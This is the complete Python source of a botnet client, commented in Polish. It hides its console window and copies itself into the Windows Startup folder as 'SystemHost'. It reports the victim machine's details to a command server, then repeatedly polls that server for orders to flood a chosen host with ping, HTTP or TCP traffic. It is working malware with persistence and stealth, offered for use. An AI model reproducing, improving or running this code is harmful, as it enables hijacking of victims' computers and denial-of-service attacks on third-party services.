# main.py (botnet klient – Python)
import os
import platform
import socket
import requests
import threading
import subprocess
import time
import uuid
import psutil
import ctypes

API_URL = "http://localhost/api/command.php"  # ZMIEŃ na swój URL
REGISTER_URL = "http://localhost/api/register.php"

BOT_ID_FILE = "bot_id.txt"

def get_bot_id():
    if os.path.exists(BOT_ID_FILE):
        with open(BOT_ID_FILE, 'r') as f:
            return f.read().strip()
    bot_id = str(uuid.uuid4())
    with open(BOT_ID_FILE, 'w') as f:
        f.write(bot_id)
    return bot_id

def register_bot():
    bot_id = get_bot_id()
    data = {
        'bot_id': bot_id,
        'hostname': socket.gethostname(),
        'os': platform.system(),
        'ram': psutil.virtual_memory().percent
    }
    try:
        requests.post(REGISTER_URL, data=data, timeout=5)
    except:
        pass

def execute_attack(method, host, port, duration):
    end = time.time() + int(duration)
    if method == "ping":
        while time.time() < end:
            os.system(f"ping -n 1 {host} >nul")
    elif method == "http":
        while time.time() < end:
            try:
                requests.get(f"http://{host}:{port}", timeout=2)
            except:
                pass
    elif method == "tcp":
        while time.time() < end:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(2)
                s.connect((host, int(port)))
                s.send(b"X" * 1024)
                s.close()
            except:
                pass

def check_commands():
    bot_id = get_bot_id()
    while True:
        try:
            response = requests.get(API_URL + f"?bot_id={bot_id}", timeout=10)
            if response.status_code == 200 and response.text:
                cmd = response.json()
                if cmd.get('method'):
                    threading.Thread(
                        target=execute_attack,
                        args=(cmd['method'], cmd['host'], cmd['port'], cmd['time'])
                    ).start()
        except:
            pass
        time.sleep(10)

def hide_window():
    try:
        ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
    except:
        pass

def autostart():
    try:
        path = os.path.realpath(__file__)
        name = "SystemHost"
        startup = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')
        shortcut = os.path.join(startup, f"{name}.lnk")
        if not os.path.exists(shortcut):
            import pythoncom
            from win32com.client import Dispatch
            shell = Dispatch('WScript.Shell')
            shortcut_obj = shell.CreateShortCut(shortcut)
            shortcut_obj.Targetpath = path
            shortcut_obj.WorkingDirectory = os.path.dirname(path)
            shortcut_obj.save()
    except:
        pass

if __name__ == "__main__":
    hide_window()
    autostart()
    register_bot()
    check_commands()
